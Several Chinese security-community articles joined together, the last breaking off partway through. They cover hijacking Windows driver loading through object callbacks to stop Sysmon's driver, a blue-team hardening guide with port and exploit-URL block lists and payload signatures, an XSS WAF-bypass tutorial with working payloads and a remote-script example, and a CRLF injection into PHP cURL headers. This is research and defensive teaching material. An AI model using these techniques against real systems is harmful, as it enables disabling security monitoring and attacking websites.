然后输入kb
可以看到内核里加载的时候会开启一个单独的线程去加载驱动
# RetAddr : Args to Child : Call Site
00 fffff800`04b1748d : fffff880`0456b8a0 fffff880`031ac0d0 00000000`00000001 fffff800`04b74dfe : nt!DebugService2+0x5
01 fffff800`04b74ecb : fffff880`031ac000 fffffa80`016de070 fffff880`0456b9b8 00000000`00000007 : nt!DbgLoadImageSymbols+0x4d
02 fffff800`04e47bfd : fffffa80`00eeee20 fffff8a0`0000001c fffff800`04d84a30 fffff880`0456b888 : nt!DbgLoadImageSymbolsUnicode+0x2b
03 fffff800`04e6286b : fffff880`031ac000 fffff880`0456b8f8 00000000`00000000 fffff880`0456b8d8 : nt!MiDriverLoadSucceeded+0x2bd
04 fffff800`04e64ebd : fffff880`0456b9b8 00000000`00000000 00000000`00000000 00000000`00000000 : nt!MmLoadSystemImage+0x80b
05 fffff800`04e65875 : 00000000`00000001 00000000`00000000 00000000`00000000 fffffa80`0231c1e0 : nt!IopLoadDriver+0x44d
06 fffff800`04a8b161 : fffff800`00000000 ffffffff`8000077c fffff800`04e65820 fffffa80`006db040 : nt!IopLoadUnloadDriver+0x55
07 fffff800`04d21166 : 00000000`00000000 fffffa80`006db040 00000000`00000080 fffffa80`006b71d0 : nt!ExpWorkerThread+0x111
08 fffff800`04a5c486 : fffff800`04bf6e80 fffffa80`006db040 fffffa80`006da680 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
09 00000000`00000000 : fffff880`0456c000 fffff880`04566000 fffff880`0456ae60 00000000`00000000 : nt!KiStartSystemThread+0x16
这是调试的时候被断点断下来的堆栈，我们需要回到加载驱动的地方，所以要打开源代码，在驱动的入口点DriverEntry按F9设置断点。
然后f5继续执行，之后就会停在驱动的入口点
紫红色表示已经运行到断点位置。
当我们使用!process 命令时会看到当前上下文是system
再次使用kb可以发现现在执行到入口点的栈的上下文是
01 fffff880`0456b960 fffff800`04e65875 nt!IopLoadDriver+0xa07
02 fffff880`0456bc30 fffff800`04a8b161 nt!IopLoadUnloadDriver+0x55
03 fffff880`0456bc70 fffff800`04d21166 nt!ExpWorkerThread+0x111
04 fffff880`0456bd00 fffff800`04a5c486 nt!PspSystemThreadStartup+0x5a
05 fffff880`0456bd40 00000000`00000000 nt!KiStartSystemThread+0x16
可以发现在 nt!IopLoadDriver+0xa07的位置是执行入口点
使用U命令，可以查看汇编代码
fffff80004e6546e 488bd6 mov rdx,rsi
fffff80004e65471 488bcb mov rcx,rbx
fffff80004e65474 ff5358 call qword ptr [rbx+58h]
fffff80004e65477 4c8b15627bdaff mov r10,qword ptr [nt!PnpEtwHandle (fffff80004c0cfe0)]
fffff80004e6547e 8bf8 mov edi,eax
**call qword ptr [rbx+58h]** 这句代码就是执行被加载驱动的模块入口点函数
看汇编代码第一个参数rcx就是rbx,大致我们可以明确的就是rbx就是DriverEntry的DRIVER_OBJECT参数，所以就有了rbx+58h就是DRIVER_OBJECT的DriverInit，为了印证我们的猜测，在IDA下看rbx就是DRIVER_OBJECT的结构体，而这里的call执行的就是DriverInit
**Call v29- >DriverInit(v29, v32);**
有了这样的过程，我们是不是就可以探索新的方法去控制驱动的加载呢？答案是肯定的。查看IDA，可以发现在执行驱动入口点之前这个过程内核会处理很多东西，比如分配内存啊，创建驱动的内核对象啊，驱动的权限的判断，创建内核镜像啊等等操作，凡是可以控制的地方我们都可以研究下，今天我们主要研究是内核Object这个东西，众所周知windows内部管理着很多的Object，windows专门有个内核对象管理器，我们通常说的文件、进程、线程、管道、油槽、内核Image等等都属于Object,windows在使用额时候总是会先CreateObject
然后在插入这个Object到object管理器中，成功了才会继续执行，所以在加载内核模块镜像的时候也一定会创建一个Object，然后在插入这个对象。
因为 **DRIVER_OBEJCT** 就是一个Object，我们可以通过追踪 **DRIVER_OBEJCT** 的生成来劫持控制驱动的加载。
查看IDA分析过程，对 **IopLoadDriver**
的函数分析可以发现，在调用入口点之上确实有个ObInsertObject的函数，而且该函数插入的就是DERIVER_OBJECT对象
**v10 = ObInsertObject(v21, 0i64, 1u, 0, 0i64, &Handle);**
有了这个函数我们就可以控制对象了，怎么控制呢？答案很简单，对象的回调函数。
**ObInsertObject** 的函数内部是会经过每种对象类型对象的回调函数设置的。下面分析怎么到达过滤回调callback的。
**在ObInsertObject内部会先调用ObInsertObjectEx函数**
在 **ObInsertObjectEx** 内部会调用 **ObpCreateHandle**
此时的第一个参数是0，而在ObpCreateHandle函数内部会调用
**v51 = ObpPreInterceptHandleCreate(Objecta, Attributes, &v70,
&ThreadCallbackListHead);**
**ObpPreInterceptHandleCreate** 函数就是我之前说的在调用当前对象类型的callback函数。
所以 **调用路径** 是
有ObInsertObject就一定会有ObCreateObject这个函数，往上继续翻阅就会看到
v10 = ObCreateObject(
KeGetCurrentThread()->PreviousMode,
IoDriverObjectType,
&ObjectAttributes,
0,
0i64,
0x188u,
0,
0,
&v74),
创建的是 **IoDriverObjectType** 这种类型的对象，理论上是可以在代码上对 **IoDriverObjectType** 注册
**callback** ，而且这个对象微软是可以外部直接链接的，不需要使用搜索的方法去寻找这个对象类型，下面就是检验理论猜想。
在之前的demo实例在加上一段代码注册回调
Globals.ob_operation_registrations.ObjectType = IoDriverObjectType;
Globals.ob_operation_registrations.Operations |= OB_OPERATION_HANDLE_CREATE;
Globals.ob_operation_registrations.Operations |= OB_OPERATION_HANDLE_DUPLICATE;
Globals.ob_operation_registrations.PreOperation = CBTdPreOperationCallback;
Globals.ob_operation_registrations.PostOperation = CBTdPostOperationCallback;
Globals.ob_registration.Version = ObGetFilterVersion();
Globals.ob_registration.OperationRegistrationCount = 1;
//CBObRegistration.Altitude = CBAltitude;
Globals.ob_registration.RegistrationContext = NULL;
Globals.ob_registration.OperationRegistration = &(Globals.ob_operation_registrations);
Status = ObRegisterCallbacks (
&(Globals.ob_registration),
&(Globals.registration_handle) // save the registration handle to remove callbacks later
);
if ( NT_SUCCESS(Status))
{
Globals.ob_protect_installed = TRUE;
}
然后继续使用双机调试，在入口点下断点
进入断点后，继续单步F10，执行过注册后status返回0表示注册成功（ **注意这里我是用了一些hack手法所以成功了，方法暂时不公开** ）
显示驱动启动成功
在我们设置的回调函数的地方下断点，看看加载驱动的时候是否会进入回调，在虚拟机里安装sysmon这个软件，他是会加载一个文件驱动的。
成功断下来了
查看PreInfo->Object
使用dt nt!_DRIVER_OBJECT PreInfo->Object
确实是sysmon的驱动sysmonDrv,他的入口点是sysmonDrv+1e058，看来这个方法确实有效，接下来我们要把driver_init设置为0，尝试修改
**Eq xxxxxxx 0 修改成0**
接下来直接f5，成功蓝屏
因为我们把入口点设置为0，所以一到执行入口点就蓝屏，说明我们可以从代码上控制驱动加载。Kb后显示堆栈，驱动执行路径
**RetAddr : Args to Child : Call Site**
00 fffff800`042b3477 : fffffa80`029c81c0 fffffa80`029c81c0 00000000`00000000 00000000`000007ff : 0x0
01 fffff800`042b3875 : 00000000`00000001 00000000`00000000 00000000`00000000 fffffa80`029c82f8 : nt!IopLoadDriver+0xa07
02 fffff800`03ed9161 : fffff8a0`00000000 ffffffff`80000f54 fffff800`042b3820 fffffa80`00711680 : nt!IopLoadUnloadDriver+0x55
03 fffff800`0416f166 : 00000000`00000000 fffffa80`00711680 00000000`00000080 fffffa80`006ed1d0 : nt!ExpWorkerThread+0x111
04 fffff800`03eaa486 : fffff800`04044e80 fffffa80`00711680 fffffa80`00711b60 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
05 00000000`00000000 : fffff880`0457a000 fffff880`04574000 fffff880`04578590 00000000`00000000 : nt!KiStartSystemThread+0x16
也就是 **call 0** ，我们设置的驱动入口下面我就方便修改demo驱动代码去控制驱动的加载了入口点。
在 **CBTdPreOperationCallback**
的函数里加一个修改DriverInit的数值，然后赋值为我们自定义的FakeDriverEntry函数
实现FakeDriverEntry函数如下：
下面再次开启双机调试，同样在虚拟机里执行 **sysmon –i**
断点断在了回调函数的 **DRIVER_OBJECT _pDriverObj = DRIVER_OBJECT_ )PreInfo->Object;**
查看PDriverObj对象
U 入口点的函数 **u 0xfffff880`02ac2058**
下面单步执行后会修改sysmonDrv驱动的DriverInit入口点
同时在FakeDriverEntry下断点
直接f5, 断点就直接断在了我们的Fake函数里
使用kb命令查看堆栈
确实执行了call，继续F5，这时我们观察sysmon命令行返回
**Sysmon installed.
SysmonDrv installed.
StartService failed for SysmonDrv
Failed to start the driver:
Stopping the service failed:**
Sysmon的驱动加载失败了，说明成功的控制了驱动的加载，从而证明了这种方案的可行。
总结，有些知识是已经众所周知的，但是更多的新的方法是需要我们在这些知识点反复研究反复揣摩，反复猜想，然后加以论证，才能获得意想不到额结果，当然今天这个注册回调不是随便就可以注册的，需要反复逆向去修改标志位实现的hack的方法去实现注册回调，具体读者自行研究，我这里只提供方法可行性。 | 社区文章 |
# 网络安全对抗中蓝方防护技巧秘籍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
护网行动，攻击方的专业性越来越高，ATT&CK攻击手段覆盖率也越来越高。这对于防守方提出了更高的要求，护网行动对甲方是一个双刃剑，既极大地推动了公司的信息安全重视度和投入力量，但同时对甲方人员的素质要求有了很大提升，被攻破，轻则批评通报，重则乌纱帽不保；关于蓝方防守的文章已经很多了，作为参与了2年护网的甲方，总结了一些防御的基本要素，简单明了，抛砖引玉，给大家参考。
## 一：护网设备套餐
在护网前，各种安全公司都会推销花样很多的护网套餐，如果不差钱的主当然是多多益善，但是相当多的企业估计也没那么土豪，所以从自身条件出发选择一个合适的护网套餐，
**必须的套餐**
包括：防火墙+WAF+蜜罐+威胁监测系统（流量分析回溯或态势感知类）+安全值守（一个人的信息安全部），这个我认为是所有企业必须上的；那么豪华套餐，就包括防火墙+WAF+蜜罐+威胁监测系统（流量分析回溯或态势感知类）+威胁情报+
主机HIDS
+安全服务（渗透测试、安全监控组、分析组、处置组、报告总结组）等。各个企业可以根据自己情况，有针对性的上一些设备，这些设备和服务，不只是为了护网临阵磨枪，而是真的是要常态化运营。
虽然有了这些设备，还是万里长征走完第一步，很多企业啥设备都上，用简单的产品堆叠，最终效果不好，影响了老板对信息安全的看法，会认为信息安全团队能力不行，所以有了设备，还需要响应的策略、配置和服务进行运营好。
## 二：拦截策略优化
对安全设备的策略优化，是一个很细且长期的过程，一般安全设备商，他们的kpi是卖设备，让设备去上线验收，而甲方的kpi是要防止信息安全事件的发生，所以这就是一个矛盾，除非特别有钱的甲方，常驻一个安全团队来进行运营，一般很多公司，都是靠甲方自己去做安全策略的优化，下面我们分这几个维度来分享一下几个经验技巧：
1. 拦截事件分类
2. 防火墙拦截策略
3. Waf拦截策略
4. 流量监控类策略
拦截事件分类这块，我们一定要有这么三类： **阻止会话、阻止会话并短暂封堵IP、阻止会话并长期封堵IP**
；防火墙是边界全部防护，waf则是针对具体每个站点来设置策略，为了误报，设备上线时候，乙方都推荐不会用封堵类策略，但是在实战场景是一定要有封堵类的策略的，因为在护网中，红方高手很多，而且可能有很多我们不知道的神兵利器，我们的设备有可能能够防住他一招两式，但是没法保证说对方所有绝招能够拦截，所以我们在策略上也要进行封堵，发现敌人破绽就封堵ip立马让其下线，敌人要继续攻击就得换个ip来，这样抬高了攻击成本。
那么问题来了，如何封堵ip并不产生误报了？封堵ip如果是靠人工一个一个判断再操作也是不可取的，所以一定要进行策略优化，自动进行封堵操作。如何自动化封堵，我们将下一个文章详细介绍。
### 2.1 防火墙拦截策略
首先在防火墙上，对来自于互联网的以下端口拦截并永久封堵（或长期封堵ip）的策略
端口 | 策略 | 封堵
---|---|---
445 | 拦截 | 永久封堵
3389 | 拦截 | 永久封堵
1433 | 拦截 | 永久封堵
6379 | 拦截 | 永久封堵
2181 | 拦截 | 永久封堵
11211 | 拦截 | 永久封堵
27017 | 拦截 | 永久封堵
50070 | 拦截 | 永久封堵
11211 | 拦截 | 永久封堵
5900 | 拦截 | 永久封堵
以上为高危端口包括远程桌面、VNC、常见数据库服务等端口，以上是攻方必攻之地，对于这样的端口，一定要封而且要封堵来源IP。
对于数据中心外联互联网，一定要采取限制策略，禁止外联互联网，对于很多企业来说，由于历史原因，可能直接放通了互联网的对外访问，那么就要仔细梳理，哪些是必要的访问，要采用白名单方式。
服务器外访，有个攻方常用的攻击方式，就是dns回显式注入，那么就将dnslog.cn等域名加入拦截和监控。
### 2.2 WAF拦截策略
WAF在使用中最大的问题也就是误报与漏报,同时，waf绕过是红方必然要求的一个技能，所以在实战中，waf是必然会被绕过，但是不代表waf策略就不需要优化，那么waf策略优化可以有这么几点：
2.2.1 user-agent防止扫描器
红方在踩点过程中，必然要用扫描器，连接高危端口的扫描器方式在上面的防火墙策略已经拦截，那么就开始用web应用扫描器，常见的扫描器user-agent如下，策略都是永久封堵。
类似如上user-agent包含上述关键字的，都将拦截并封堵源ip，在这些user-agent中，有一个非常重要的user-agent为python，这个对于很多扫描甚至是poc都是用python开发，所以来接这个很有必要。
**2.2.2 url参数中防止高危POC攻击**
很多高危漏洞一出来，针对该漏洞的poc扫描就非常多，针对这些poc的扫描攻击，可以建立一个url列表来拦截，waf本身策略更新也有这方面的配置，可以拦截，但是由于waf策略本身是需要有通用性，他会将策略做的更严格，我们自定义策略可以更宽松，比如前段时间F5的远程代码执行漏洞爆发
(CVE-2020-5902) ，那么我们已经确定没有使用F5，或者F5不会暴露在公网，那么我们可以将url关键字如下进行拦截，发现即封堵。
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
常见的poc攻击url特征清单如下，以下基本上发现为攻方必然扫描的url，当然有一些需要根据企业情况分析，比如我们企业没有使用php作为开发语言，那么大量php的漏洞可以直接拦截并封堵：
url特征
---
/phpmyadmin
/wls-wsat/CoordinatorPortType
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12
uddiexplorer/SearchPublicRegistries.jsp
/_async/
bea_wls_deployment_internal
NCFindWeb?service=IPrealertConfigService&filename
action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease&TreeSelectedID=&TableSelectedID=
/uapws/service
.svn/format
WEB-INF/web.xml
/cgi-bin/libagent.cgi
/config.php
fckeditor/editor/filemanager/connectors
/FCKeditor/editor/filemanager/connectors/asp/connector.asp
/FCKeditor/editor/filemanager/browser/default/browser.html
fckeditor/editor/filemanager/connectors/test.html
/secure/ContactAdministrators!default.jspa
/phpinfo.php
/ispirit/interface/gateway.php
/weaver/bsh.servlet.BshServlet
/wwwroot.rar
/console/
/wls-wsat
/solr/admin/cores?wt=json
/install.txt
/install.php
/plugins/weathermap/editor.php
/?q=node&destination=node
/hedwig.cgi
/device.rsp?cmd=list&opt=user
/node/?_format=hal_json
/_users/org.couchdb
/mailsms/s?dumpConfig=%2F&func=ADMIN%3AappState
mailsms/s?func=ADMIN:appState&dumpConfig=/
/plus/download.php
/druid/index.html
org.apache.dubbo
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
http请求中高危特征值字段
还有一类poc，是通过http请求中包含恶意代码来执行的，比如struts2漏洞，比如fastjson漏洞，所以也需要对类似特征值进行防范,比如我们用部分包含特征样例如下：
part=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”,part=”java.lang.ProcessBuilder”,part=”command”
---
part=”getRuntime”,part=”exec”,part=”java.lang.Runtime”
part=”type=java.net.InetSocketAddress”
part=”dataSourceName=rmi”
part=”#ognlUtil=#container.getInstance(@com.opensymphony.xwork2″
part=”.OgnlContext”,part=”DEFAULT_MEMBER_ACCESS”
**2.2.3信息泄露类的扫描**
对于部分扫描，在很多waf产品策略中，可能将其列为低危，或者仅仅拦截而不封堵
那么我们应该自定义一些信息泄露的url，直接拦截并封堵，样例如下：
/configuration/config.php
---
/.bash_history
/.git/config
/.htpasswd
/admin.rar
/admin.sql
/backup.gz
/backup.rar
/backup.sh
/backup.sql
/backup.zip
/database.rar
/database.sql
/jmx-console/
/resin-admin/
/shell.asp
以上策略都是拦截并封堵ip，这个在我们实战中很有效，基本上能够封堵大部分的扫描，如果能够将扫描拦截住，那么就将大部分的低层次的攻击给拦截了。
### 2.2.4流量监控类策略
上面也说到了流量监控设备如流量分析回溯、态势感知、威胁检测系统，基本上还是一个必需品，这些产品主要是流量镜像方式，那么他们自带了一些特征库，可以监测到经过了安全设备之后还遗存的攻击，所以上面的所有特征库，依然适用于流量监控设备，当流量监控设备上设置了如上告警特征，依然还存在，那么就要反过来查查防火墙和waf的配置，是不是策略没配置对，还是说站点没配置全等等。
## 三：日志统一收集并自动化处置
推荐使用日志收集系统来实现防火墙、waf、蜜罐等统一的日志收集和分析，并将攻击ip进行统一呈现，我们已经使用了graylog来做这个事情，详细可见我的另外一个文章《利用graylog收集各类安全设备日志实现大屏展示》，同时将攻击ip统一呈现还有一个好处，可以实现自动化的永久封堵，我们是通过脚本将攻击ip入库，然后脚本调用防火墙api，每5分钟实施黑名单永久封堵。
这样的好处是显而易见的，攻击者在没有摸清你的家底之前，只有通过不断的探测来摸底，但是探测过程中被你不断的封堵ip，那么他就知道碰到行家了，按照攻击队找软柿子捏的惯例，他们是不会再一个价值不高的目标花费太大的时间和精力，这个对于勒索、黑产团队也同样适用，黑产团队也是广撒网的方式来攻击，比如攻击是有成本的，只有当安全达到一定基线，那么就能够减少很多不应该的信息安全事件。
如上事情优化完成之后，就进入了安全监控、分析阶段，这个时候需要专家值守，通过全量日志分析系统，提升安全分析效率，输入第三方护网情报、自己的护网客户发现的问题，及时共享，联动处置。
如上为蓝方护网期间经验总结，其实不只是护网期间，作为常态化安全运营，均需要上述的一些基本优化动作，做完上述动作，基本上护网可以达到70%的不出事情，剩下的30%，一个是对手太强大，0day层出不穷，另外就是我们的应用开发，包括弱口令、运维漏洞、钓鱼邮件等依然存在，这些漏洞的解决，也不是一朝一夕，也是需要长期的过程。
2020年8月16日晚，写于护网前一天。 | 社区文章 |
## 前言
这绝对是我玩过的最乏味的一次XSS。
我使用Burp进行枚举，用高级选项来控制测试范围。
然后我一个接一个的浏览应用程序，特别是要寻找可能有反射型的参数。我还使用了`Burp的 Actively scan defined insertion
points`功能去扫描url参数。
继续Fuzz
## 枚举api
通过`https://github.com/GerbenJavado/LinkFinder`去枚举所有的接口，尝试发现其他的url。
最后这个工具会通过html的方式得出所有的api
最终导致这个接口容易受到XSS的攻击。 起初我检查了反射型。
从下图中可以看出，TEST值正在被反射出来。 进一步的测试表明，大多数参数都可以反射出来。
## 构造XSS Payload
然后我闭合value并尝试了几次注射，其中没有任何效果。 花了几个小时，全部被阻止。 我尝试了几种不同的标签和填充字符。 让我们看一个非常常见的XSS设计。
{TAG}{EVENT}={PAYLOAD}
这有一篇不错的文章。
<https://0x00sec.org/t/fun-bypass-xss-detection-waf/12228>
顺带一起翻译
**=====我是分割线=====**
**=====我是分割线=====**
**=====我是分割线=====**
## Bypass The Xss Waf
本文重点介绍怎么去绕过XSS的WAF
主要内容：
* 确定payload结构：确定给定上下文的各种payload结构可提供最佳的测试方法。
* 探测：探测，涉及针对目标的安全机制测试各种字符串。
* 混淆：如果需要，混淆/调整payload。
返回的响应包将帮助我们分析有关所用解决方案的是否成立。
### XSS介绍
跨站点脚本攻击是一种注入类型。
<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS）>
### HTML
内部标签：
<input type="text" value="$input">
外部标签:
<span>You entered $input</span>
外部标签：用于启动HTML标签的主要字符
根据HTML规范，标签名称必须以字母开头。
该信息可用于确定正则表达式与标签名称的匹配度。
<dEv - If fails, <[a-zA-Z]+
<d3V - If fails, <[a-zA-Z0-9]+
<d|3v - If fails, <.+
<svg - If passes, no tag checking is in place
<dev - If fails,<[a-z]+
x<dev - If passes,^<[a-z]+
没有任何安全机制允许，几乎不可能绕过，但是由于高误报，这种过滤规则不是最优选。
如果不阻止，则会创建一个payload方案 - >新的payload。
**1**
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到合适的{tag}后 ->使用正则表达式来匹配标签和事件处理程序之间的填充。
<tag%0axxx - if fails, [\s\n]+
<tag%0dxxx> - If fails, [\s\n\r+]+
<tag/~/xxx - If fails, .+
<tag xxx - If fails, {space}
<tag%09xxx - if fails, [\s]
<tag%09%09xxx - if fails, \s+
<tag/xxx - If fails, [\s/]+
事件处理是payload结构中最重要的部分之一，通常它会与常规正则表达式结合使用。
on\w+
or blacklist
on(load|click|error|show)
第一个正则表达式是限制很大的，不能绕过，而黑名单通常使用鲜为人知的事件处理程序绕过，这些事件处理程序可能不在黑名单中。
<tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show)
<tag{filler}onclick - If passes, no event handler checking regular expression is in place
如果正则是`on\w+`，那么无法绕过。
但是如果正则是黑名单模式，就继续寻找下一个payload：
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
在安全机制阻止`<tag{filler}{event_handler}=d3v>`时，测试填充点。
要执行的下一个JavaScript组件。
这是payload的一部分，但不需要fuzz它的正则，因为JavaScript代码是任意的，因此无法匹配预定义的模式。
=>现在指出，payload的所有组件都放在一起，只需要闭合payload
<payload%0a
<payload%0d
<payload%09
<payload>
<payload
<payload{space}
<payload//
HTML的规范允许：
<tag{white space}{anything here}>
Example
<a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
已验证。HTML标签的属性可帮助攻击者通过以上述方式注入HTML标签。
**2**
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试类似于以前的payload方案。 That？ 就可以在URL的末尾使用（如果URL后面没有使用填充字符），而不是结束标记。
字符规则是什么？
它将被视为URL的一部分，直到遇到>才结束。 使用`<script>`标记，可以检测大多数安全规则。
可以使用相同的payload方案创建<object>标签：
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
**3**
两种变体：
Plain
Obfuscatable
一个简单的匹配模式。
href[\s]{0,}=[\s]{0,}javascript:.
它的结构：
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,L
F}
不同之处就是{special} 和{quote}.
{special}参考混淆版本：
j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
在某些情况下，数字字符编码也可用于逃避检测。 可以使用十进制和十六进制。
Javascript:
javascript:
两种技术结合：
Java%0a%0d%09script:
### Exe and Non
根据是否可以在没有任何特殊帮助的情况下执行注入的payload，可以分为exe和no-exe。 当输入的payload出现在HTML注释中时，会发生no-exe
`<--$input-->`
或者
<style>
<title>
<noembed>
<template>
<noscript>
<textarea>
必须闭合这些标签才能执行有效负载。 exe和no-exe之间的唯一区别是对{closing tag}组件的测试。
</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>
如果找到了可行的方案。
{closing tag}{any payload from executable payload section}
=>成功注入
### 内部标签
`<input value="$input" type="text">`
主要字符`"`
在某些情况下，不需要突破。
### 事件
`<script src="$input">`
恶意脚本/网络钓鱼 etc
可以直接加载
`<script src="http://domain.com/malicious.js">`
bypass
//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+
### srcdoc
<iframe srcdoc="$input">
html实体化
<iframe srcdoc="<svg/onload=alert()>">
### Generic Attributes
`<input type="text" value=""/onfocus="alert()$input">`
我们根据相关标签的交互性有两个类别：
* 交互
* 交互的标签-clicking, hovering, focusing
* `{quote}{filler}{event_handler}{?filler}={?filler}{javascript}`
使用以下方法阻止WAF检查：
x"y：
事件处理程序在这里起着重要作用，因为这是WAF可能检测到的唯一组件。
每个标签都支持一些事件处理程序，并由用户来搜索此类情况，但是有一些事件处理程序可以链接到任何标签：
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
如果输入的payload在无法在交互的标签内，则需要执行payload的标签。
{quote}>{any payload scheme from html context section}
### JavaScript
#### String Variable
最常见的是字符串变量中的反射。 这很常见，因为开发人员通常会将用户的输入分配给变量，而不是直接使用它们：
var name = '$input';
{quote}{delimiter}{javascript}{delimiter}{quote}
单引号情况
yaml
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
{quote}{delimiter}{javascript}//
'<{javascript}//'
'|{javascript}//'
'^{javascript}//
### BLOCKS
Example
if (a > b){
xnxx_func('');}}alert();if(true){('');
}
`if(true){`是语法有效，`('`闭合剩下的。
payload结构取决于代码本身，这种不确定性使得waf难以检测（可以添加混淆）。
');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('
</scRipT{?filler}>{html xnxx.com}
也可以分解执行payload，但很容易检测到。
Finally, testing in process hunter bug.
Name: ModSecurity 7
Name: Wordfence 3
Name: Cloudflare 10
Name: Akamai
Name: Comodo
Name: F5
我还不能公开提供许多其他防火墙提供商。
对不起，我无法提供有效载荷POC。
========
回到主题
您可以在中间添加一些字符以逃避WAF的黑/白名单。 我尝试过的一些标签：
script
img
a
body
script
html
meta
xml
object
etc.. etc..
好像没啥用。 几个小时后，我可以添加的唯一执行成功率很高的是svg和image标签。 WAF明显阻止img，但是图像没有被阻止。
我至少可以将图像注入到网站中，但是，由于表单的onload事件，它立即就被重定向。
然后我继续玩svg标签。
## EVENT
我现在正在努力寻找一个没有被阻止的事件。
`events on(load|click|error|show)`
似乎一切都被ban了。 在fuzz很久之后，我最终发现`OnAuxClick`事件没有被阻止。 要尝试的一些事件的列表。
onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn
onauxclick
oncontextmenu
onmouseleave
ontouchcancel
对于攻击而言，`onauxclick`并不像其他方法那样复杂或实用，但仍然有效。。
在TAG和EVENT未被阻止的情况下，我继续查找要执行的一些payload。
## Payload
我没有介绍什么是可执行文件，但我最好的选择是直接从Alert，Prompt命令运行可执行文件。
一些payload的例子：
write(1)
confirm(1)
alert(1)
prompt(1)
Simple variation if () is blocked. Pay Attention now `` is just as effective.
write`1`
confirm`1`
alert`1`
prompt`1`
最终我使用``而不是传统方法的()使payload成功执行。
gridview=%27&’/>%20<svg/onauxClick%3D”alert`HackerOne`”</svg>=’&asd
[原文链接](https://medium.com/fbotes2/try-harder-for-xss-7aa3657255a1)
</object> | 社区文章 |
原文地址：<https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545>
在本文中,我们将向读者详细介绍如何将回车符和换行符注入内部API调用。一年前，我曾经在GitHub上写过一篇这方面的[文章](https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da
"文章")，但是，话说回来，哪里可不是发布文章的最佳平台，对吧？当然，这篇文章中，我会添加更多的细节，而不是对原来那篇文章的简单复制和粘贴。
实际上，我个人还是更倾心于白盒测试的，因为，黑盒测试并不是我的强项——毕竟，我曾经花了十多年的时间来阅读和编写PHP代码，并且在此过程中，曾经犯了许多的错误，所以，我知道要注意哪些问题。
我曾经在浏览源代码的过程中发现了一个如下所示的函数：
<?php
// common.php
function getTrialGroups(){
$trialGroups = 'default';
if (isset($_COOKIE['trialGroups'])){
$trialGroups = $_COOKIE['trialGroups'];
}
return explode(",", $trialGroups);
}
我所浏览的系统提供了一个“试用组”的概念。每个用户会话都有一组与其相关联的组，这些组被存储在cookie中以逗号为分隔符的列表内。其思想是，当启用新功能时，只让让一小部分客户先行试用，以降低启用功能所带来的风险，或者对特性得不同变体进行比较（即A/B测试）。其中，getTrialGroups()函数的功能是读取cookie值，将其中的列表进行拆分，然后为该用户返回一组试用组。
由于这个函数中缺少白名单，所以，它立即就引起了我的注意。于是，我对代码库的其余部分也进行了搜索，以查找调用该函数的位置，这样，我就可以考察对其返回值的应用是否存在安全隐患了。
当然，原来的代码就不在这里展示了，下面给出大致的相似的代码：
<?php
// server.php
// Include common functions
require __DIR__.'/common.php';
// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON :)
$ch = curl_init("http://httpbin.org/post");
// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
"X-Trial-Groups: " . implode(",", getTrialGroups())
]);
// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
"method" => "getPublicData",
"params" => []
]));
// Return the response to the user
echo curl_exec($ch);
curl_close($ch);
这段代码使用cURL库通过内部JSON API来调用getPublicData方法。该API需要了解用户的试用组，以便相应地更改其行为，所以，可以利用X-Trial-Groups头部将试用组传递给该API。
问题在于，在设置curlopt_httpheader时，这里并没有对回车符或换行符进行检查。因为getTrialGroups()函数返回的是用户可控的数据，所以，攻击者可以将任意头部插入到该API请求中。
## 攻击演示
为了便于理解，我将使用PHP内置的Web服务器在本地运行server.php脚本：
tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
借助于命令行实用工具cURL，我们可以发送一个示例请求，其中包括一个trialGroups cookie：
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'
{
"args": {},
